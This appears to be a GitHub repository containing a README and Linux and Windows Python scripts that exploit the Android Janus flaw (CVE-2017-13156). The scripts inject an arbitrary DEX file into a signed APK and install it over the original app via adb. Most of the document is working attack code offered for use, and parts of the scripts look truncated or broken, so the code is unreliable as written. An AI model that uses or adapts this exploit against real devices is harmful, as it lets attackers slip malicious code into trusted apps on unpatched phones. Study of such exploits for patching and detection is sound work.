├── README.md ├── h5.apk ├── kal-janus.py └── kal-janus_windows.py /README.md: -------------------------------------------------------------------------------- 1 | # Janus Vulnerability (CVE-2017-13156) Exploit with Proof-of-Concept(POC) 2 | 3 | Android package installer does not check extra data before PKZIP, thus we can concat DEX & APK together with little bit of fix to pass the installation. 4 | 5 | ART can run both APK and DEX, so here DEX ahead of base.apk is actually the one to execute. 6 | 7 | extract the original classes.dex from apk 8 | use APKTOOL to do stuffs on it 9 | Inject the new dex into original APK 10 | update the installed app :) 11 | 12 | Some automation has been added to the exploit to make it easier with the following checks. 13 | * Check if APK is signed with v1 signature scheme 14 | * Check if APK is supported to run on vulnerable android versions 15 | * Decide if APK is vulnerable based on above points and Android version it can be exploited on. 16 | * Wait for user to connect suggested vulnerable device and warn if recommended device is not connected 17 | * Fuse user provided dex into original apk and generate injected apk 18 | * Push an injected apk as an update to the original application 19 | * confirm if exploit was successful or abort with error. 20 | 21 | All you have to do is pass dex file along with vulnerable original apk to the script and run the suitable android device. 22 | 23 | You can extract raw classes.dex file from the apk using apktool **apktool -s d h5.apk** and modify the dex if you want and pass it to the script. 24 | 25 | usage: kal-janus.py [-h] dex-file original-apk 26 | 27 | I use classes.dex of other application and inject with the vulnerable application so that it breaks the vulnerable application. 28 | 29 | ![image](https://user-images.githubusercontent.com/52395887/112117751-aeb60900-8be1-11eb-9063-de5dd46dd0a3.png) 30 | 31 | ![image](https://user-images.githubusercontent.com/52395887/112118371-4ddb0080-8be2-11eb-9101-e3b6611cc1f0.png) 32 | 33 | # Proof Of Concept (POC) 34 | 35 | 36 | ![janus-poc(1)](https://user-images.githubusercontent.com/52395887/112256331-a4e7e080-8c89-11eb-9dae-b962e93249a7.gif) 37 | 38 | # NOTE 39 | 40 | You can check the [writeup link](https://medium.com/mobis3c/exploiting-apps-vulnerable-to-janus-cve-2017-13156-8d52c983b4e0) to find the vulnerability and exploit it manually. 41 | 42 | -------------------------------------------------------------------------------- /h5.apk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ari5ti/Janus-Exploit/f9516ebe72c54526f4234e638ea86c2de1d7ef01/h5.apk -------------------------------------------------------------------------------- /kal-janus.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import sys 4 | import os 5 | import argparse 6 | import struct 7 | import datetime 8 | import subprocess 9 | import importlib 10 | 11 | from hashlib import sha1 12 | from zlib import adler32 13 | from androguard.core.apk import APK 14 | from androguard.util import get_certificate_name_string 15 | 16 | class suppress_output: 17 | def __init__(self,suppress_stdout=False,suppress_stderr=False): 18 | self.suppress_stdout = suppress_stdout 19 | self.suppress_stderr = suppress_stderr 20 | self._stdout = None 21 | self._stderr = None 22 | 23 | def __enter__(self): 24 | devnull = open(os.devnull, "w") 25 | if self.suppress_stdout: 26 | self._stdout = sys.stdout 27 | sys.stdout = devnull 28 | if self.suppress_stderr: 29 | self._stderr = sys.stderr 30 | sys.stderr = devnull 31 | def __exit__(self, *args): 32 | if self.suppress_stdout: 33 | sys.stdout = self._stdout 34 | if self.suppress_stderr: 35 | sys.stderr = self._stderr 36 | 37 | 38 | def check_required_tools_and_install(): 39 | andro = importlib.util.find_spec("androguard") 40 | requirements = ["adb"] 41 | ninstalled = 0 42 | null = open("/dev/null", "w") 43 | if not andro: 44 | subprocess.check_call([sys.executable, "-m", "pip", "install", "androguard"], stdout=null, stderr=null) 45 | for tool in requirements: 46 | try: 47 | subprocess.Popen(tool, stdout=null, stderr=null) 48 | null.close() 49 | print("\033[92m[+]\033[0m "+tool.upper()+" is installed") 50 | except OSError: 51 | ninstalled = 1 52 | print("\033[91m[-]\033[0m "+tool+" is not installed") 53 | if ninstalled: 54 | print("\nPlease install missing tools and re-run the exploit") 55 | quit() 56 | 57 | sdk, android = "27", "8.0.0" 58 | 59 | def is_apk_vulnerable(apk): 60 | with suppress_output(suppress_stdout=True,suppress_stderr=True): a = APK(app) 61 | global sdk, android 62 | if a.is_signed(): 63 | print("\033[92m[+]\033[0m APK is signed") 64 | if a.is_signed_v1: 65 | if a.is_signed_v2() or a.is_signed_v3(): 66 | sdk, android = "24", "7.0.0" 67 | if a.get_min_sdk_version() < sdk: 68 | print("\033[92m[+]\033[0m APK("+a.get_min_sdk_version()+") is set to run on devices less then API level "+sdk+"(Android "+android+")\n\033[92m[+]\033[0m APK is vulnerable\n\033[93m[!]\033[0m Please connect the device running Android less then "+android+" through adb") 69 | device_connected = input("\033[93m[!]\033[0m Once recommended device is connected. Press 'y': ") 70 | if device_connected != "y": 71 | print("\033[91m[-]\033[0m Recommended device is Not Connected.\n\n\033[91mStopping the exploit.\033[0m") 72 | quit() 73 | else: 74 | print("\033[91m[-]\033[0m APK is Not Vulnerable\n\n\033[91mStopping the exploit.\033[0m") 75 | quit() 76 | 77 | else: 78 | print("\033[91m[-]\033[0m APK is Not signed\n\n\033[91mStopping the exploit.\033[0m") 79 | quit() 80 | 81 | def injection(): 82 | with open(args.apk_in, "rb") as apk_in, open(args.dex_in, "rb") as dex_in, open("kal-janus.apk", "wb") as apk_out: 83 | dex_data = bytearray(dex_in.read()) 84 | apk_data = bytearray(apk_in.read()) 85 | dex_size = len(dex_data) 86 | 87 | ea_cd = apk_data.rfind(b"\x50\x4b\x05\x06") 88 | sa_cd = struct.unpack(" patch: 144 | print("\033[92m[+]\033[0m Android security Patch level "+patch+" is vulnerable") 145 | injection() 146 | null = open("/dev/null", "w") 147 | result = subprocess.Popen(['adb', 'install', '-r', 'kal-janus.apk'], stdout=subprocess.PIPE, stderr=null) 148 | install = str(result.communicate()) 149 | null.close() 150 | if api < "24": install = install.split("\n")[0].split('\\')[5].split("n")[1].lower() 151 | else: install = install.split()[2].split("\\n")[1].lower() 152 | if install == "success": print("\033[92m[+]\033[0m APK updated successfully.\n\033[92m[+]\033[0m Exploit Completed successfully.") 153 | else: print("\033[91m[-]\033[0m Installation failed");quit() 154 | else: print("\033[91m[-]\033[0m Android device is patched with 2017-12-05 which is not vulnerable..\n\n\033[91mStopping the exploit.\033[0m");quit() 155 | else: 156 | print("\033[91m[-]\033[0m Recommended! device is Not Connected.\n\n\033[91mStopping the exploit.\033[0m") 157 | quit() 158 | 159 | print("\033[92m[+]\033[0m Cleaning the system...") 160 | if os.path.exists("kal-janus.apk"): os.remove("kal-janus.apk") 161 | -------------------------------------------------------------------------------- /kal-janus_windows.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import os 3 | import argparse 4 | import struct 5 | import datetime 6 | import subprocess 7 | import importlib 8 | 9 | from hashlib import sha1 10 | from zlib import adler32 11 | from androguard.core.bytecodes.apk import APK 12 | from androguard.util import get_certificate_name_string 13 | 14 | class suppress_output: 15 | def __init__(self,suppress_stdout=False,suppress_stderr=False): 16 | self.suppress_stdout = suppress_stdout 17 | self.suppress_stderr = suppress_stderr 18 | self._stdout = None 19 | self._stderr = None 20 | 21 | def __enter__(self): 22 | devnull = open(os.devnull, "w") 23 | if self.suppress_stdout: 24 | self._stdout = sys.stdout 25 | sys.stdout = devnull 26 | if self.suppress_stderr: 27 | self._stderr = sys.stderr 28 | sys.stderr = devnull 29 | def __exit__(self, *args): 30 | if self.suppress_stdout: 31 | sys.stdout = self._stdout 32 | if self.suppress_stderr: 33 | sys.stderr = self._stderr 34 | 35 | 36 | def check_required_tools_and_install(): 37 | andro = importlib.util.find_spec("androguard") 38 | requirements = ["adb"] 39 | ninstalled = 0 40 | null = open("NUL", "w") 41 | if not andro: 42 | subprocess.check_call([sys.executable, "-m", "pip", "install", "androguard"], stdout=null, stderr=null) 43 | for tool in requirements: 44 | try: 45 | subprocess.Popen(tool, stdout=null, stderr=null) 46 | null.close() 47 | print("\x1b[92m[+]\x1b[0m "+tool.upper()+" is installed") 48 | except OSError: 49 | ninstalled = 1 50 | print("\x1b[91m[-]\x1b[0m "+tool+" is not installed") 51 | if ninstalled: 52 | print("\nPlease install missing tools and re-run the exploit") 53 | quit() 54 | 55 | sdk, android = "27", "8.0.0" 56 | 57 | def is_apk_vulnerable(apk): 58 | with suppress_output(suppress_stdout=True,suppress_stderr=True): a = APK(app) 59 | global sdk, android 60 | if a.is_signed(): 61 | print("\x1b[92m[+]\x1b[0m APK is signed") 62 | if a.is_signed_v1: 63 | if a.is_signed_v2() or a.is_signed_v3(): 64 | sdk, android = "24", "7.0.0" 65 | if a.get_min_sdk_version() < sdk: 66 | print("\x1b[92m[+]\x1b[0m APK("+a.get_min_sdk_version()+") is set to run on devices less then API level "+sdk+"(Android "+android+")\n\x1b[92m[+]\x1b[0m APK is vulnerable\n\x1b[93m[!]\x1b[0m Please connect the device running Android less then "+android+" through adb") 67 | device_connected = input("\x1b[93m[!]\x1b[0m Once recommended device is connected. Press 'y': ") 68 | if device_connected != "y": 69 | print("\033[91m[-]\033[0m Recommended device is Not Connected.\n\n\033[91mStopping the exploit.\033[0m") 70 | quit() 71 | else: 72 | print("\033[91m[-]\033[0m APK is Not Vulnerable\n\n\033[91mStopping the exploit.\033[0m") 73 | quit() 74 | 75 | else: 76 | print("\033[91m[-]\033[0m APK is Not signed\n\n\033[91mStopping the exploit.\033[0m") 77 | quit() 78 | 79 | def injection(): 80 | with open(args.apk_in, "rb") as apk_in, open(args.dex_in, "rb") as dex_in, open("kal-janus.apk", "wb") as apk_out: 81 | dex_data = bytearray(dex_in.read()) 82 | apk_data = bytearray(apk_in.read()) 83 | dex_size = len(dex_data) 84 | 85 | ea_cd = apk_data.rfind(b"\x50\x4b\x05\x06") 86 | sa_cd = struct.unpack(" patch: 142 | print("\033[92m[+]\033[0m Android security Patch level "+patch+" is vulnerable") 143 | injection() 144 | null = open("/dev/null", "w") 145 | result = subprocess.Popen(['adb', 'install', '-r', 'kal-janus.apk'], stdout=subprocess.PIPE, stderr=null) 146 | install = str(result.communicate()) 147 | null.close() 148 | if api < "24": install = install.split("\n")[0].split('\\')[5].split("n")[1].lower() 149 | else: install = install.split()[2].split("\\n")[1].lower() 150 | if install == "success": print("\033[92m[+]\033[0m APK updated successfully.\n\033[92m[+]\033[0m Exploit Completed successfully.") 151 | else: print("\033[91m[-]\033[0m Installation failed");quit() 152 | else: print("\033[91m[-]\033[0m Android device is patched with 2017-12-05 which is not vulnerable..\n\n\033[91mStopping the exploit.\033[0m");quit() 153 | else: 154 | print("\033[91m[-]\033[0m Recommended! device is Not Connected.\n\n\033[91mStopping the exploit.\033[0m") 155 | quit() 156 | 157 | print("\033[92m[+]\033[0m Cleaning the system...") 158 | if os.path.exists("kal-janus.apk"): os.remove("kal-janus.apk") 159 | --------------------------------------------------------------------------------